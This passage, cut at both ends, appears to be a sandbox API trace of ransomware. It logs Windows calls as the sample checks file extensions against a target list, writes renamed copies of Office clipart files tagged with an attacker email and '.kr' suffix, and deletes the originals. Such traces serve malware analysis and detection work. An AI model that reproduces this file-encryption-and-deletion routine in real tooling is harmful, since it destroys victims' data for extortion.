(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.862] lstrlenW (lpString=".doc") returned 4 [0178.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.862] lstrlenW (lpString=".docx") returned 5 [0178.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.862] lstrlenW (lpString=".pdf") returned 4 [0178.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.862] lstrlenW (lpString=".xls") returned 4 [0178.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.862] lstrlenW (lpString=".xlsx") returned 5 [0178.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.862] lstrlenW (lpString=".ppt") returned 4 [0178.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.862] lstrlenW (lpString=".zip") returned 4 [0178.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.862] lstrlenW (lpString=".rar") returned 4 [0178.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.862] lstrlenW (lpString=".bz2") returned 4 [0178.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.862] lstrlenW (lpString=".7z") returned 3 [0178.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.862] lstrlenW (lpString=".dbf") returned 4 [0178.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.862] lstrlenW (lpString=".1cd") returned 4 [0178.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.862] lstrlenW (lpString=".jpg") returned 4 [0178.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.863] lstrlenW (lpString=".doc") returned 4 [0178.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.863] lstrlenW (lpString=".docx") returned 5 [0178.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.863] lstrlenW (lpString=".pdf") returned 4 [0178.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.863] lstrlenW (lpString=".xls") returned 4 [0178.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.863] lstrlenW (lpString=".xlsx") returned 5 [0178.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.863] lstrlenW (lpString=".ppt") returned 4 [0178.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.863] lstrlenW (lpString=".zip") returned 4 [0178.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.863] lstrlenW (lpString=".rar") returned 4 [0178.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.863] lstrlenW (lpString=".bz2") returned 4 [0178.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.863] lstrlenW (lpString=".7z") returned 3 [0178.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.863] lstrlenW (lpString=".dbf") returned 4 [0178.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.863] lstrlenW (lpString=".1cd") returned 4 [0178.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0178.863] lstrlenW (lpString=".jpg") returned 4 [0178.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.864] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0178.864] lstrlenW (lpString="BD19827_.WMF") returned 12 [0178.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0178.864] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=9710) returned 1 [0178.864] CloseHandle (hObject=0x410) returned 1 [0178.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0178.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0178.865] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.865] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0178.866] GetLastError () returned 0x0 [0178.866] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x25ee, lpOverlapped=0x0) returned 1 [0178.872] WriteFile (in: hFile=0x414, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x25f0, lpOverlapped=0x0) returned 1 [0178.873] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.873] WriteFile (in: hFile=0x414, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.873] SetEndOfFile (hFile=0x414) returned 1 [0178.873] CloseHandle (hObject=0x414) returned 1 [0178.874] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.874] SetEndOfFile (hFile=0x410) returned 1 [0179.239] CloseHandle (hObject=0x410) returned 1 [0179.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0179.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0179.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.241] lstrlenW (lpString=".doc") returned 4 [0179.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.241] lstrlenW (lpString=".docx") returned 5 [0179.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.241] lstrlenW (lpString=".pdf") returned 4 [0179.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.241] lstrlenW (lpString=".xls") returned 4 [0179.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.241] lstrlenW (lpString=".xlsx") returned 5 [0179.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.241] lstrlenW (lpString=".ppt") returned 4 [0179.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.241] lstrlenW (lpString=".zip") returned 4 [0179.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.241] lstrlenW (lpString=".rar") returned 4 [0179.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.241] lstrlenW (lpString=".bz2") returned 4 [0179.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.241] lstrlenW (lpString=".7z") returned 3 [0179.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.241] lstrlenW (lpString=".dbf") returned 4 [0179.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.241] lstrlenW (lpString=".1cd") returned 4 [0179.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.242] lstrlenW (lpString=".jpg") returned 4 [0179.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.242] lstrlenW (lpString=".doc") returned 4 [0179.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".docx") returned 5 [0179.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.242] lstrlenW (lpString=".pdf") returned 4 [0179.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".xls") returned 4 [0179.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.242] lstrlenW (lpString=".xlsx") returned 5 [0179.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.242] lstrlenW (lpString=".ppt") returned 4 [0179.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.242] lstrlenW (lpString=".zip") returned 4 [0179.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.242] lstrlenW (lpString=".rar") returned 4 [0179.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".bz2") returned 4 [0179.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString=".7z") returned 3 [0179.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.242] lstrlenW (lpString=".dbf") returned 4 [0179.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.242] lstrlenW (lpString=".1cd") returned 4 [0179.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0179.243] lstrlenW (lpString=".jpg") returned 4 [0179.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.243] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0179.243] lstrlenW (lpString="BD19988_.WMF") returned 12 [0179.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0179.244] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=18304) returned 1 [0179.244] CloseHandle (hObject=0x410) returned 1 [0179.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0179.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0179.244] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.244] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0179.245] GetLastError () returned 0x0 [0179.245] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x4780, lpOverlapped=0x0) returned 1 [0179.247] WriteFile (in: hFile=0x3e0, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x4790, lpOverlapped=0x0) returned 1 [0179.248] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.248] WriteFile (in: hFile=0x3e0, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.248] SetEndOfFile (hFile=0x3e0) returned 1 [0179.248] CloseHandle (hObject=0x3e0) returned 1 [0179.250] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.250] SetEndOfFile (hFile=0x410) returned 1 [0179.253] CloseHandle (hObject=0x410) returned 1 [0179.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0179.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0179.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.254] lstrlenW (lpString=".doc") returned 4 [0179.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.254] lstrlenW (lpString=".docx") returned 5 [0179.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.254] lstrlenW (lpString=".pdf") returned 4 [0179.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.254] lstrlenW (lpString=".xls") returned 4 [0179.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.254] lstrlenW (lpString=".xlsx") returned 5 [0179.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.254] lstrlenW (lpString=".ppt") returned 4 [0179.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.255] lstrlenW (lpString=".zip") returned 4 [0179.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.255] lstrlenW (lpString=".rar") returned 4 [0179.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.255] lstrlenW (lpString=".bz2") returned 4 [0179.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.255] lstrlenW (lpString=".7z") returned 3 [0179.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.255] lstrlenW (lpString=".dbf") returned 4 [0179.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.255] lstrlenW (lpString=".1cd") returned 4 [0179.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.255] lstrlenW (lpString=".jpg") returned 4 [0179.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.255] lstrlenW (lpString=".doc") returned 4 [0179.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.255] lstrlenW (lpString=".docx") returned 5 [0179.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.255] lstrlenW (lpString=".pdf") returned 4 [0179.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.255] lstrlenW (lpString=".xls") returned 4 [0179.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.255] lstrlenW (lpString=".xlsx") returned 5 [0179.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.255] lstrlenW (lpString=".ppt") returned 4 [0179.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.256] lstrlenW (lpString=".zip") returned 4 [0179.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.256] lstrlenW (lpString=".rar") returned 4 [0179.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.256] lstrlenW (lpString=".bz2") returned 4 [0179.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.256] lstrlenW (lpString=".7z") returned 3 [0179.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.256] lstrlenW (lpString=".dbf") returned 4 [0179.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.256] lstrlenW (lpString=".1cd") returned 4 [0179.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0179.256] lstrlenW (lpString=".jpg") returned 4 [0179.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.256] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0179.256] lstrlenW (lpString="BD20013_.WMF") returned 12 [0179.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0179.257] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11058) returned 1 [0179.257] CloseHandle (hObject=0x410) returned 1 [0179.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0179.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0179.258] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.258] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0179.259] GetLastError () returned 0x0 [0179.259] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2b32, lpOverlapped=0x0) returned 1 [0179.260] WriteFile (in: hFile=0x3e0, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2b40, lpOverlapped=0x0) returned 1 [0179.261] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.261] WriteFile (in: hFile=0x3e0, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.262] SetEndOfFile (hFile=0x3e0) returned 1 [0179.262] CloseHandle (hObject=0x3e0) returned 1 [0179.263] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.263] SetEndOfFile (hFile=0x410) returned 1 [0179.265] CloseHandle (hObject=0x410) returned 1 [0179.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0179.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0179.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.266] lstrlenW (lpString=".doc") returned 4 [0179.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.266] lstrlenW (lpString=".docx") returned 5 [0179.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned 